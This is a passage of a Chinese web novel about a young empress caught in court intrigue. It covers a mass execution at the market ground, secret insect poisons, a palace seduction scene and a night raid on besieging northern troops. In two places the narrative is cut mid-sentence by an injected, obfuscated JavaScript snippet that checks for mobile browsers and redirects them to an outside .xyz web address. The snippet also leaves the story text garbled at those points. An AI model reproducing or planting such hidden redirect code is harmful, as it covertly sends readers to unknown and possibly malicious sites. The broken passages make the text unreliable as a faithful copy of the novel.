“是。”高苗俯首叩拜,随后拎药箱而去。 金簪踏出天机宫的大殿,望向满庭萧瑟。 不日这院内的大树会抽枝长叶。 只是,北方的定山关失守,慕容涛的兵马已近在眼前,必须在此绝境中寻求破局,而凌飞必不能死。 ** 白马大街的西市道口有一块不大不小的广场,上面有石造刑台。刑台上有数名持刀侩子手,以及被压跪在地的凌飞、殷罗、掬梅,再有几名家丁,除此外还有与凌飞交好的几府男女,老老幼幼算起来近三十口人。 风子鸾离开时,现场乱作一团。 但是,李源接替了这差事,扬手抛令。侩子手开始按序一个个斩落人头。 围观百姓、士林噤若寒蝉,捂脸、捂口不敢出声。 季飞扬在人群中捏紧手,朝不远处的季成颔首,准备动手救人。他刚要出去就被突如其来的季 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059959|162979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闲一把按捺住。 两人争执到屋旁檐下,季飞扬怒目道:“你不救他们,我来救。” “你疯了,这是陷阱。多少弓弩手准备着,便是风瑶兵都将这里围得水泄不通。你一旦跳出去,不光你死,还会连累在京中潜伏的暗桩。你不想想留在月罗府的绾娘吗?”季闲使劲拽着他的手,不让他冲出去。 季飞扬咬牙道:“殷罗姑姑呢?她是你的妻子。凌祖父是同你忘年结拜的兄弟啊。” “大丈夫何患无妻。我已数度救凌老哥,海宁道府拦他入京、京中府邸困他出府,他执意向死,我能奈何?今日之局,已是他自己求来的结果。”季闲红着眼睛,厉声道。 季钊明趁季飞扬不备,一掌打在他的后脖子处,将人击昏。两人拖着季飞扬躲入附近的民居,藏起来。 不远处,一身褴褛的小乞丐被一名大乞丐狠狠地夹在腰下。大乞丐狼狈道:“你小子别冲动。你上去除了被一起斩,还能干什么?若不是你爷爷曾给过我们麦饼,我们才懒得管你这少爷。” “呜呜呜……祖父……呜呜……”凌云泪流满面,在熙攘的人声里穿透那些不断滚落的人头,凝望那道坚挺的背影,以及那名佝偻背脊的女子,“……呜呜……梅姨……” “你说好了,只是来看,可不能冲动。这全是女帝使得坏,你要恨就恨那些当权者。小子,记住了。你好好看他们最后一眼。”大乞丐使眼色,让旁的小乞丐一起压住凌云。 巡逻卫过来瞅了两眼,喊道:“别在这抢闹,一边去。” “是是是……” “呜呜……放开我……祖父……”凌云呜呜咽咽得喊着,可是嘴巴被人用手压着,怎么都喊不出来。 刑台上,凌飞的目光落在身旁的掬梅、殷罗处,含泪抱歉道:“两位,凌某今日害你们身首异处,愧不敢言。” 掬梅含泪摇头,喃喃道:“幸好小公子去了东都。不然……呜……” 殷罗还抱有一线希望,嗅着血腥味,环顾外围的人群。她好似看到了那个高大的身影,却发现对方的目光垂落后转身离去。 她一下瘫软在地,无望道:“原来……是这样。” “殷罗,对不起。”凌飞歉疚道,“若非老夫缘故,实……” 李源在上首道:“凌大人,看来你是真无辜,竟没人来救你。便是连陛下都不曾……” “刀下留人。”梵阳快马冲入刑场,高举圣旨:“圣旨到。” 李源眉头一皱,疾步近前接旨。 余下还有命的人纷纷啊啊啊啊地叫唤起来。他们胆怯地仰头,希望听来天籁之音。 然而,梵阳嬉笑一声,好似恢复从前伶宠时的目光。他妖娆地绕过跪行的李源,走到抬眸望来的凌飞身旁。 梵阳蹲下身,覆在鬓角凌乱的凌飞耳边,低声道:“少保大人。陛下此旨意要违背太宰命令救你。但是,你知道,陛下不过是傀儡。今日奴若将这圣旨宣读,陛下和太宰间就是死局。如今,孰强孰弱,不用奴说,你都知道吧?这旨,宣还是不宣?” 凌飞的双眸微微一睁,低首间缓缓笑道:“你……叫梵阳,乃前舞艺司侍梵阆的弟弟。” “凌大人能记住奴,乃是奴的荣幸。” “你笃定我不会同意宣旨。因为陛下年幼,又无军权,此时还无法同太宰抗衡。”凌飞低声分解道。 “不错。”梵阳微微一笑,再次道,“不过,奴可以送凌大人一程,不必受身首异处之苦。” 【错了,你不知道风子鸾就要死了。他死了,这金宫就可以换真正的主人了。】 “哈哈哈哈……”凌飞仰天长笑,惹得四处围观者、李源等人都诧异地望来。 在梵阳微微变色的脸面下,凌飞高声道:“宦官弄权,居心不良。尔必为祸国……呃……之恶。” 梵阳猛得拔出匕首,被凌飞的血溅了满脸。他好看的阴秀眉目从狠厉转为惶恐,惊喊道:“凌大人,陛下……陛下是想要救你啊。” 李源爬起身,跌撞地跑过来,诧异地看着这一幕,迟疑道:“那……梵侍官,这旨……还读吗?” “陛下言:凌大人虽有过错,但诚为陛下谋划,此乃……不如,李大人来读吧。”梵阳提高圣旨,声泪俱下间递给一脸懵的李源。梵阳在他接过去时,低声道,“人已死,此乃,送行诏。” 李源的脑子里的思绪一滚,恍然明白:人都死了,即使圣旨要救人也不成了。这宫侍是想帮陛下调和与太宰的关系,不令太宰不虞或生疑。 他拉开圣旨,上面赫然写:凌飞乃国之栋梁,抗反贼的智士,绝不可杀。请速将人带回宫。 李源暗吸口气,一把拢住圣旨,与梵阳明亮的目光对上。 彼此好似就这个眼神达成交易。 李源高声道:“此乃陛下的送行诏。既然,凌大人已故。来人,余下之人,斩立决。” 快刀落首,一地鲜红,染红了围观者的眼,令有些人的眸里彻底晕上仇恨之火。 “啊……祖父……”凌云失声痛哭,被乞丐们捂着嘴巴硬拖出人群。 33. 生死 金宫内,金簪浑噩地坐在椅上,木然地接过杜鹃递来的茶盏。 她轻抿一口,猛得将茶盏砸在梵阳的前方。 茶水、叶末溅了梵阳满脸。他惊恐地伏跪在地,颤抖道:“陛下,奴跟凌大人说了,但是凌大人说,此时情况未明,不宜正面反抗太宰大人。 他这才……这才……选择自裁就义。陛下,奴办事不利,愿自戕受死,赔凌大人一命。” 说完他捡起地上的碎瓷,大吸口气就往脖子上划去。 “拦住他。”金簪厉声喊道。人也跟着快步绕过桌子。 杜鹃扑在梵阳的身上,阻止他的自戕行为。 但是,梵阳的动作太猛,又有执意赴死之意,猛得划破颈项皮层和血管,留出大量的血水。 金簪想也没想就接过杜鹃递来的丝巾按在他颈处的伤口,急色喊道:“快叫高……医正。” “喏喏……”杜鹃喊了宫侍,令人疾步而去。 高廷之正好在天机宫外,听小宫侍说陛下听闻凌飞身死而受不住前来。他被杜鹃拉进殿,接手金簪的工作,忙用止血药护下梵阳的性命。 “殿下,你的手。”杜鹃急忙拿布巾擦金簪的血手,却发现她的手掌虎口处有条小痕。 金簪的眉心微蹙,以手按在伤口处,挤出些血水。她甩了下手,摇头道:“无碍。高医正,梵阳如何了?” “幸好止血及时,这个地方若划大,血涌如注,必死无疑啊。”高廷之忙乎完梵阳,叹息道,“高医女去了太宰府,暂时未归。微臣给陛下上药吧。” “嗯。”金簪心里焦急又烦躁,还有无法与人外道的伤心。 凌飞此人温和仁慈,颇有战略见解,是一位不可多得的战略家,而且他是唯一一个会带玩偶进宫的官员。 金簪敛眸想着凌飞过往的点滴,任由高廷之上药,随后对杜鹃道:“你帮朕传莫云长,朕要见他。” “喏。”杜鹃领命而去。 待金宫安稳下来,金簪朝前来觐见的莫云长道:“沈少傅是否在安置凌大人的尸骨?” “是。”莫云长恭敬道。 金簪猜到了,颔首道:“他应该把寻找凌云的事交给你吧,可有消息?” “未曾。不过,微臣和老师猜测,凌云恐怕是被季氏父子带走了。”莫云长垂首道。 金簪一拍桌子,恼恨道:“季飞扬。你可查清季氏来路?” “季氏随已故凌大人从南旋道府入京,入城身份乃是凌云的武师。季闲娶了凌云的教养嬷嬷殷罗为妻,在明上没什么可疑。 但是,死牢中的刺客曾透露,季闲曾是前风瑶大将军季忠明的下属,投靠天师道以求帮助,意图是……刺杀太宰,为季氏复仇。” 莫云长说完,猜测道,“他们应该是两方人马,互相合作。” “天师道,季氏。季飞扬利用天师道教众为饵,借朕的局、天师道人……刺杀风子鸾,又脱离天师道的控制。” 金簪立时想清楚季飞扬在隐瞒什么:他利用了所有人。 “他隐瞒朕与天师道刺客间的交易。他们与天师道的牵连甚深,连累凌氏祖孙暴于太宰眼底。 朕,也是害死凌少保的凶手之一。 季飞扬,季氏。朕竟一点都没有将两者联系在一起。此时回顾,方才觉出季飞扬有些地方实在蹊跷。”【完全被他的花言巧语,以及男人欲色给眯了眼。】 金簪闭目自省,又睁眸道,“然而,凌少保不知道季氏父子同季忠明的关系吗,还是他有意护着他们,隐瞒了朕?” “陛下……这凌大人已故,无从得知。老师和微臣都有一惑,不知陛下为何发送行诏?这是……极为不妙的事。”莫云长忍不住将刑场上的疑问道出。 “朕送得分明是救人的圣旨,怎么成送行诏?”金簪利眸迎色,快步出正殿,往偏殿走去。 她立在昏过去的梵阳床榻前,斥道,“将他给朕弄醒。” “陛下,梵阳在昏过去前一直在说‘对不起’。他同婢子说:他询问凌大人,是凌大人自己选择不让殿下难做才自裁。为在司空李源大人面前圆谎,他又周旋说陛下颁得是送行诏,以此松懈太宰一党对陛下的猜疑。” 金簪愣怔下,耳听莫云长颔首道。 “如此倒说得过去,梵阳宫侍忠心为主,不亚于凌大人。只是,凌大人一府,可惜了。”莫云长叹息道,而内心深处得某一角正露出喜悦。 【凌飞已死,陛下手边无人可用,如此我才能得见陛下,被委以重任。凌飞在死前高呼“宦官弄权之说”……就不告知陛下,卖梵阳此人情,来日或可有用。不然,真如孙忠谋、沈长清之流,蹉跎老矣,颓丧退场吗?一个马夫风子鸾都能改名登堂,我堂堂贵宗学士为何不可登堂为宰?】 金簪觉得此中颇有问题,眼前一黑,往后退了一步。她被杜鹃扶着,只觉得天旋地转,一瞬间人事不知。 “陛下……陛下……” “来人……快来人……” 大金宫内因金簪的昏迷而变得混乱不堪。皇后亲自前来坐阵,又派人去请太宰。 然则,风子鸾也在重度昏迷,旁人整治不出伤毒何处,人也唤不醒。 *北延兵马* “义父,前面就是京师。京师背靠千秋山,西侧有藏龙山,南面只有一道小藏山关,过了小藏山关就是东都。”楚甲子的手握在剑柄处,嚷声道。 旁边是慕容涛的儿子——慕容苏枫,冷冷地盯视他,眸里藏着嫉妒和阴毒,唇角含着蔑视的笑意。 慕容涛哈哈一笑:“不错。这京都已如探囊取物。听说,女帝在我们攻打定山关时登基,而轩辕夏逃往东都。逃啊……逃得好。 慕容苏枫,楚不白听令。” “儿子在,”“在。”两位年纪差了十岁的将军拱手道。 “本将军给你们拨二十万军,攻打京师的风瑶骑兵。余下人随本将攻打小藏山关,咱们去会一会这昏庸无道的太上皇轩辕夏。”慕容涛大笑道,“哈哈哈……” 楚甲子耳闻慕容苏枫领命,谏言道:“义父,此去东都快马行军也需四至五日。如今京师重兵都在京都,我军不宜分兵,不如一起攻打京师的风瑶骑兵。” “他风子鸾分出那个酒囊饭袋的弟弟六万兵马,在南边死磕天师道。如今在京都不过二十来万人,以你和苏枫的本事,足以抗衡。本将军要得就是去出这一口蛰伏多年的郁气,你们按令行事。 驾……”慕容涛一马当先,领二十几位副将,带十八万人浩浩荡荡往东都出发。 慕容苏枫瞧着张望的楚甲子,哼了声道:“小白脸,父亲行军近五十载,何须你来教?管好你自己吧,别死在风瑶重骑的大箭下。驾……” 楚甲子看着二十万军浩浩荡荡往京师去,紧握手中的马缰。 他原本打算趁机斩杀慕容涛于阵前,联合风子鸾的兵马围剿北延兵,彻底解决这个隐患。 然而,他到底年轻,不知道比起行军得胜、拿下京都这等大事,慕容涛更想活捉轩辕夏,再羞辱他。 “真是意气用事。”楚甲子嘀咕句,驾了声,随大军往京师挺进。 *太宰府* 风子鸾的手下第一忠将是一名叫卦济的男子,曾在战场上救过风子鸾。卦济此人形貌高大凶狠,见风子鸾一日未醒就斩杀太医寮数人。 高苗说是跟来学习,恰见太医寮属于常安喜一派的医者人头落地。常安喜的人自高苗入医寮以来就诸多不满、闲言碎语不断。她早已恨上这些医者,此时见此惨状,心下不忧反喜。 然而,她的面上似被吓得毫无人色。 卦济蛮横得将高苗拖拉出来,嚷嚷道:“什么常派无用,你高氏不是自称医药世家,家学渊源颇深。你们来给太宰诊治。” 高苗的医术好,却无人知道高苗更擅毒,而且是虫毒。 她在卦济的盯视下给风子鸾把脉,脉象微弱,却无中毒症状,但是,心力衰弱,已经是濒死之症。 “我……我……救救不了……” 卦济大吼一声:“连你高家都救不了,高廷之呢?快将他从金宫绑来救治太宰。”他的下属直接领命而去。 “卦将军,不好了。慕容……慕容……”风瑶兵来报,“在城外三十里扎营,不日就要攻城。” 卦济冷笑一声,嗬嗬骂道:“慕容狗贼总算到门口了。大哥,你明明说好要亲征一会慕容涛这厮。不过,没事,兄弟替你去。来人,将风瑶十二营的副将召齐,咱们去会一会这狗贼。” “不是,将军,太宰这里……”卦济的亲信忙提醒道。 “格老子的,正是……那个什么秋。” “多事之秋。”亲信忙给他补充道。 “老子不知道吗,要你提醒。小丫头过来。”卦济一把捏提在高苗的肩头,凶恶道,“待你祖父过来,好好医治太宰。本将军带人去守城,如若城破,你们一个个都等着被慕容涛扒皮吧。” 高苗被他推了把,目送这莽汉离开,一把揉在受伤的肩头。 她抚了几下,似拂去污秽。 太宰府内人心惶惶,敢怒不敢言。他们目送卦济离去,纷纷各自跑走。 风子鸾的老母亲和夫人、孩子都在,这些人一身贵气泼辣,平日耀武扬威,此刻却六神无主。 唯有老夫人剁拐杖,喊道:“乱什么乱,你们身为主子,管好各房事物。南夫人。” 南叶白张脸上前,向老夫人行礼。 “你是我儿看重的人,救过我儿的命。你拿着钥匙去打开府库,取最好的参药来给医师。”老夫人将怀里揣着的金钥匙递给南叶。 南叶恭敬地接过钥匙,与房内的高苗目光相触,在风府一干人羡慕的眼神下离去。 ** 高廷之来到太宰府后,把了风子鸾的脉相,一时也瞧不出毛病。 他只道:“这……时日无多啊。怎么办呢?” 高苗轻咳一声,朝他身后常安喜仅剩的徒弟看去。 高廷之一瞬间懂孙女的意思,可是良心让他无法这么做。 高苗直接道:“吕大夫,常大夫擅心科,你是他的高徒,不妨你来……” “不不……我不行。”吕大夫的冷汗都爬上来。外头还躺着几名师兄的尸首,怎么可能凑上去。他恨不得现在就回府,卷了铺盖离开京师。 南叶这时候进屋,将参药捧到吕大夫的面前,轻声道:“那就麻烦吕大夫了。不然,外头守着的兵将,可不好交代。” 吕大夫丧张脸,鼻涕眼泪全喷出来。他拿着参药,喊了徒儿切片,塞入风子鸾的齿口。 “大家都知道,这是绝症,心衰之象。我……回天乏术啊。这无伤无毒的……南夫人,你行行好,放过我们吧。” 吕大夫说完就跪在地上一个劲地磕头。 一屋子人各个不敢出声。南叶也是面有难色,但听老夫人在内堂敲拐杖,声音轰隆:“你擅长,若治不好那就别活着了。来人……” “不不……我……能……我能……老夫人。”吕大夫结巴地站起来,取出银针给风子鸾扎去,试图将他唤醒。 高廷之朝孙女道:“祖父出宫时,听闻陛下在宫内急症昏迷,恐症状相似。苗儿,你回宫去看看。” 高苗心下一惊,朝祖父颔首,又低声道:“陛下说,一定要将南叶带回去。” 高廷之颔首道:“祖父来解决此事。” 高苗言说熬药,找了寻药的借口出府。 此时的京城大街上已经一片混乱,拖家带口逃命的人不少。有人站在街头笑话:“逃得到哪里去?外面都被北延兵围城了。” “女帝还在金宫,那些兵匪要杀也是杀抢进宫。” “就是,走,喝酒去。” …… 高苗的心头微紧,遣随身的女仆回家嘱咐家里众人随时准备离京,而她本人直奔金宫。 ** 金簪昏得很快,好得也很快。 只是,她一起来就感觉浑身无力,像是被千万只蚂蚁爬过一般酸软,甚至有些精神萎靡。 “杜鹃……” “殿下,你可算醒了。”杜鹃喜出望外,见皇后走来,赶紧行礼。 轩辕皇后探摸在金簪的额头,松了口气道:“你这烧可真急。如今好了,退了。你一昏迷,宫里就乱,这人心啊早被轩辕夏带散了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059960|162979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “母后,现在什么时辰?”金簪喝了口水,轻声道,“高苗……回来了吗?” “微臣在。”高苗疾步入殿,向皇后行礼,上前探金簪的脉象。良久后,她在众人的注视下,轻声道:“略有些急促,似急火攻心之象。但是,陛下知道,有些病状,光是把脉摸不出来。” 金簪的面色微沉,将虎口愈合的伤口递给她。 “如何?” 高苗取出银簪,随即向皇后行礼:“娘娘,这治疗之法颇为血腥,恐娘娘不忍陛下凤体有恙……” 轩辕皇后何等机变,瞧这两人眉来眼去的勾当。她冷笑一声道:“醒来便好。你好生照料陛下,至于宫内,不用你急,而宫外,等着你去处理。” 金簪一愣,待皇后离去,看向杜鹃道:“莫云长呢?” “他先离开了,听说……听说慕容涛领二十万军围在京城外的藏龙山外,同风瑶兵正在对峙。”杜鹃行礼道。 “不行,孤得亲自去。这是拿回军权的机会,不能错过。”金簪说完就要下地,被高苗的银簪戳在虎口,“嘶……” “陛下,不差这一时三刻。陛下聪慧,能用虫毒之计杀人,旁人难道就不会用此对付陛下吗?”高苗探了伤口,蹙眉道,“若是无形虫蛊,伤口愈合再打开,也能看到虫卵颜色。这不像是虫蛊之毒。” “这伤口是在帮梵阳止血时弄的……”杜鹃看着僵住的高苗,弱声道,“若是他真有心害陛下,早不动手……” “梵阳以身饲蛊,全身都是毒。他的血,陛下怎么能沾呢?”高苗立马起身,去寻梵阳。 金簪看着她急切而去的模样,摸在虎口小伤处,自嘲地笑了下:“这是一点恶事都不能做。果报如此啊。杜鹃,准备战铠,朕要去风瑶营。” “喏。”杜鹃颔首,急忙带人去准备。 偏殿里,梵阳因失血过多正苍白张脸睡着。 高苗将他摇了又摇,都没有将人唤醒,急得狠了,打一巴掌打在此人身上。 “混账,早知道你会连累陛下,就不教你此道了。” 正殿内的金簪已经穿戴整齐。 她由着杜鹃搀扶,步出正殿,面对单膝跪首的禁军副领队长——卫南勋,以及祁缙云,颔首道:“朕,准备好了,出发。” “喏。”众人护着金簪,往金宫外行去。 高苗追出来时,金簪已经离开金宫。 她扶额叹了声,又去给梵阳配最补血的药。 贴身丫鬟问道:“小姐,这究竟是怎么回事?” “你知道我是高府的异人,除祖父外,谁都不喜欢我,便是娘和父亲都嫌弃我喜欢毒虫之道。但是,陛下重用我,而且她和我一样,爹娘不爱。扯远了,走,去看梵阳。” 【为了帮陛下研制可以不令医者察觉的毒,遂而用了虫蛊之道。这些虫子在卵时无毒,但是一旦食肉喝血,随时间过去就会生出毒素,令人心衰、昏厥、溃烂,甚至无声而亡。梵阳此人阴毒,却好学喜毒,也入了此道。 然而,我不知道他将命和陛下的命绑在一起。如今要解开生死蛊,只能另想它法。】 “这人到底想做什么?”高苗气急喃道,回了偏殿。她瞧着昏睡的梵阳,又狠打了他一巴掌。这举动好似已经驾轻就熟,仿佛打过他无数回。 梵阳嘤呤了声,在迷迷糊糊中醒来,看着扬手的高苗,咧唇嬉道:“你来了,打完了,可是出了气?” 高苗面上微崩,放下手朝旁边的丫鬟道:“你去殿外远远地守着,没有我的命令不准靠近。” 丫鬟垂目行礼,赶紧出殿门。 离开前,她还将殿门关上。 她已经做过好几次这事,内心也才猜测:小姐与这梵阳好像不止师徒情,倒像是有不清不楚的事。 高苗上前提起梵阳的衣领,厉声问道:“你体内的生死蛊可还在?” “自然在。那是我准备……” “跑到陛下身体里去了。若是陛下知道此事……不对,以你的心计,你莫不是故意的?”高苗为这个想法震惊,诧异道,“你故意让生蛊跑到陛下的身上去。但凡你死,生蛊会让陛下痛不欲生。你想做什么?” 梵阳被她拎得有些气喘,但是技巧让他舒服的嘤呤了声。他的手像是柔滑的丝带一样顺着高苗的手滑上她的长臂。 高苗的呼吸滞了下,感受那点痒到心里去的骚动。她一下子松开拎住梵阳衣襟的手,却被梵阳故意一侧身,露出雪白的肌理。 他曾是伶宠,身体被保养得比一般女子都要柔嫩白皙,甚至敏感诱人。 高苗强行撇开眼,却忘记直起身离开。 梵阳一把拉住她的手臂,将人拽下来,压在心口。他紧紧地抱住毫无动作的高苗,呼吸喷撒在高苗的耳侧,不急不缓地轻呵道:“生死蛊为你我准备。阿苗爱虫蛊,家人不理解,但是我爱。阿苗,你信我。我没想害陛下,那是意外。” “你……”高苗还要争,却被梵阳一个扭身翻在身下。她的手已经绕过梵阳的脖颈,意识到这动作后又猛得缩回去。 梵阳却狠狠地吻了下去,辗转舔舐她的齿口,咬破她的舌尖。 “你若不信我,你将情蛊给我。” “呜呜……松开。”高苗尝到鲜血的馥郁味道,比起太宰府那一地瞧不起女医入寮的太医血水还要痛快。她爱这种有着虫蛊味道的鲜血,而这个宫侍,雌雄一体,即使没有那玩意,也能让她兴奋到疯狂。 梵阳的唇齿映着鲜红的血,而手已经摸进高苗的衣襟和亵裤。他俯首咬吭在双峰,令她的身体彻底为欲打开。 “阿苗,你看你的身体……比你的口诚实得多。 我此生只想和你双宿双飞,好好地留在这宫里服侍你爱的陛下。” 【你爱她,我也爱她,爱得为她准备生死蛊。掌握陛下,等于掌握金宫,掌握无数人的生杀大权。】 高苗的神色早已在他的大胆和熟稔中迷幻。他的经验太足了,令她完全成为身体欲望的奴隶。 即使他失血过多、是个无法人道的宫侍,但他的手和唇像是有魔力般点燃她的欲望,而且这样更好,无人会发现她隐藏的邪恶秘密。 34. 甲子 夕阳将殇,晚风吹人。 金簪坐在马车里,看向阻拦出城的风瑶兵,沉声道:“朕是大周的天子,今日要亲征。” “陛下,你是女子,上什么战场。你就待在城头观战不行吗?此前,风太宰交代过我们。他说,陛下在城楼当好吉祥物就可以。 何况,现在天色擦黑,慕容涛的人马长途奔袭,肯定不会打过来。若是真要开战,定是在明日。”风瑶副将“今夏难”睨着眼,不拜不见礼。 对于这位女帝,他并无多少尊重。 金簪熟读兵书,各种计谋都在心头。然而,她对于慕容涛的了解不多,一时间也无法判断对方是否会夜袭。但是,对方不会,己方可以趁夜偷袭疲军啊。 她朝旁边的卫南勋道:“风子鸾卧床,风子棋不在,如今掌军极有可能是他的长子——风无眠和中军将领卦济两人。以朕对卦济的了解,外强中干,未必会主动出战。这样,你替朕出城,分成两队,分别刺探双方动静,速来城头报朕。” 卫南勋了解她的用意后躬身行礼:“属下这就去城外。” 今夏难对于卫南勋还是有点了解。卫南勋是世家弟子,曾经在辛无疚的手底下干活,一直出不了头。如今趁着祁缙云的东风转投禁军,当了小职,算是投到女帝的麾下。 轩辕帝东逃,带走辛无疚、禁军统领,剩下这点人马是卫南勋培养出来的死忠,余下可全是风瑶营的人。 今夏难对上直视而来的卫南勋,朝下属道:“将他放过去。”又睨眼上城楼的女帝,直言道,“女人就是事多。” 祁缙云闻言要下城楼去理论,被金簪按捺下。 金簪言道:“武夫如山瓦,大将如云檀。云泥有别,何须一般见识。” 祁缙云颔首,一会后,望向上城楼的几人,言道:“陛下,沈大人和莫大人来了,而且好像带来一个人。” 杜鹃疾步过去,惊喜道:“陛下,是南叶,南叶回来了。” 南叶快步近前,与杜鹃猛得抱在一起。两姐妹重逢,喜不自禁。 金簪的手从虎口位置挪开,心事重重的脸上露出久违的笑容。 南叶放开杜鹃,含泪站在金簪的面前。 金簪瞧着瘦了好多的南叶,竟有几分意外的不真实感。 “殿下……不,陛下。奴婢幸得高医正相助,从虎窝回来了。”南叶双手交叠,在金簪的面前重重地跪下去。 当金簪来扶她时,南叶将手中金色的钥匙递去,面有愧疚道,“南叶……没将陛下要的风瑶兵虎符取回,虎符应该是同风无眠一起入了军营。但是,奴婢拿到这这把府库钥匙。 太宰府库里金银如山、玛瑙珠玉如鳞,还有各种丝帛宝器、珍稀药材,无计可数……奴婢知道陛下忧虑国库钱银。如今,他死了……他死了……那些钱帛资产正好解决陛下的燃眉之急。” 金簪对于没有虎符并不太在意。 风瑶营如今认人不认符,有符办事就利索些,无虎符就得将人收服才可用。 她看着这把金子打造的库房钥匙,也猜到风子鸾巨富,但没想到富到流油的地步。她压下胸腹翻涌的激动、喉口滚滚的哽咽,将南叶拉起来,紧紧地抱在怀,闭目落了一行泪。 “谢谢你,南叶。虎符只是小事,重要的是我们成功了,他死了,而你是朕的大功臣。” 南叶满足地摇头,垂首道:“这是陛下的计划,还有高医女、祁大人、沈大人的谋划。奴婢只要能够继续在陛下身边服侍,奴婢就心满意足。” 祁缙云与沈长清相视而笑,颇有一分喜出望外。 祁缙云言道:“咱们的大功臣南叶啊,当宫婢屈才了。” 沈长清颔首道:“不错。这次能成功,而且不被怀疑,都亏南叶。只可惜,凌大人……没能等来海晏河清之日。” “怪朕自以为是,偏信季飞扬,因他与凌少保的关系,怕凌少保阻扰计划,而瞒了他。若是他知悉此中密辛,定不会选择刑场就义。” 金簪垂敛眸光,凌飞之死是继梵阆之后,在心中得另一痛处。 她再次展颜,赞许道:“南叶,你做得很好。待回宫,朕封南叶为大宫侍,掌内外廷总务。以后,你不仅可以服侍朕,还能自由出入宫廷。” 南叶的神色不喜,反倒僵下,不解道:“陛下不是答应梵阳……” 金簪的目光落在虎口处,摇头道:“朕是天子,朕说了算。” 南叶心思玲珑,瞬间明白梵阳定是做不好的事。 她向金簪行礼,嚷声道:“谢陛下。” 今夏难见女帝那方嘀嘀咕咕,一来笑一来嚎的,十分不得劲。 他走上前道:“陛下,这都要三更半夜了,不妨回宫里……” “那是什么,火光?”杜鹃指向城墙外喊道。 今夏难一惊,疾步上瞭望塔,待金簪上来询问。 他想也不想答道:“北延兵营起火。难道是卦济将军夜袭了?” 金簪颔首道:“理该夜袭。北延兵马经定山关一战未曾休息。战马、将士长驱直入,奔波至此,正是疲乏之时。此时,夜袭成功,可振京师军民气势。即使不成,也能试探北延兵马的强弱。” 【这卦济竟还是个有脑子的人。不对,以风无眠和卦济的才能,不会领兵出营,多半坐以待毙,便是这今夏难都不曾觉得今夜会战。 北延兵营……出事了。】 祁缙云看着来回走动的金簪,轻声道:“陛下,臣不闻风瑶营号角奏响,不像是……” “对。”今夏难一拍墙楼,身为军人的直觉,急切道,“北延兵营起火,风瑶营怎么没动静呢?” 【如此良机,岂容错过?】 他又沉吟道,“难道是担心诱敌之计?” 金簪凝眸思定,转身道:“今夏将军,朕不妨告诉你,风子鸾已死在府上。如今,北延兵营出问题,风瑶营内卦济莽夫,风无眠胆小怯弱不敢出战。如今,这战时机会就在你的一念间。你可敢与朕披甲上阵,领风瑶兵攻入北延军营。” “嘶……”【女帝好大的胆子。】今夏难心下意动,可是风子鸾之死还没有传出来。 他也不敢拿一家老小满门去赌这位女帝能赢。 卫南勋快马近城楼下,高声道:“陛下,北延兵营内讧,起火之处是粮草位置。但是,风瑶营内还在争执,未有人出动。机不可失,微臣请旨,愿意带禁军小队杀入北延兵营,擒贼先擒王。” 金簪转身道:“沈大人,烦请你带朕的印玺将城内禁军带出去,与卫南勋汇合前往北延兵营。” “是。”沈长清接过杜鹃递来的圣旨,快步而去。 金簪又望向今夏难,坚定道:“这是南夫人,你虽没见过,但该知道她是风子鸾的新宠。如今,她在朕的身边,尽可说明朕所言不虚。你若再迟疑,下场无非有二:等北延兵马整顿内务,挥戈城楼,你不过战死一途。若朕赌赢了,那么你就是忤逆臣子,朕岂能饶你。” 【现在还不能大肆宣扬风子鸾的死讯,若是风无眠、卦济临阵倒戈,大周轩辕氏就彻底完了。】 今夏难被轩辕金簪的气势震慑,而且她说得很有道理。 金簪接过杜鹃手里的第二道圣旨,递给今夏难道:“你虽不敬朕,但朕敬你是一条军汉。此乃调营出征旨,本是为卫南勋准备,如今你可敢接。” “接了,就是滔天的富贵。”祁缙云沉声道。 “微臣领旨。” 【富贵险中求。这祈大公子,卫大公子都投靠女帝,值得一搏。】 今夏难猛地跪下,接过金簪递来的圣旨,而后要求将祁缙云带去。 金簪同祁缙云颔首,相当于将祁缙云作为监军,而在今夏南处则是有了一道护身符。 她目送祁缙云随今夏难一起领一队人,联合卫南勋的禁军队伍向风瑶营奔去。 当风瑶军营传来动静时,金簪的心神一松,撑不住得往后一倒,被眼疾手快的南叶扶住。 杜鹃瞧着火盆光下的女帝灰白的面色,声带哭腔道:“陛下来前沾上梵阳的毒血,高医女说……” “杜鹃。”金簪看向一旁观望的莫云长,阻止她继续说下去。 南叶何等聪慧,低声道:“陛下,那边有椅子,过去坐吧。” 金簪摇头,固执道:“不行。今夜若能折损北延兵马,才有明日之说。朕要待在这等消息。” 莫云长上前道:“陛下,天高夜寒。不如,披上此袍。”他将外罩脱下递给南叶。 南叶没接,直至金簪颔首才接过来给她披上。 金簪一言不发,静守前方战况。 三十里外的火光已经冲天,喊杀声从远处传来。 金簪听动静,回身看向城里。 原来城里也闹起来,各府家人在街上打探消息,便是城中百姓都惶惶不安、探头探脑地瞧情况。 金簪朝莫云长道:“莫大人,如今有一事,朕要拜托你。” 莫云长心下一喜,躬身道:“臣在。” “擢你前往京畿司徒衙门,领皇命,带衙役查抄太宰府、五官司徒李兰亭府、司空李源两府,以及中官司士风满城府邸。 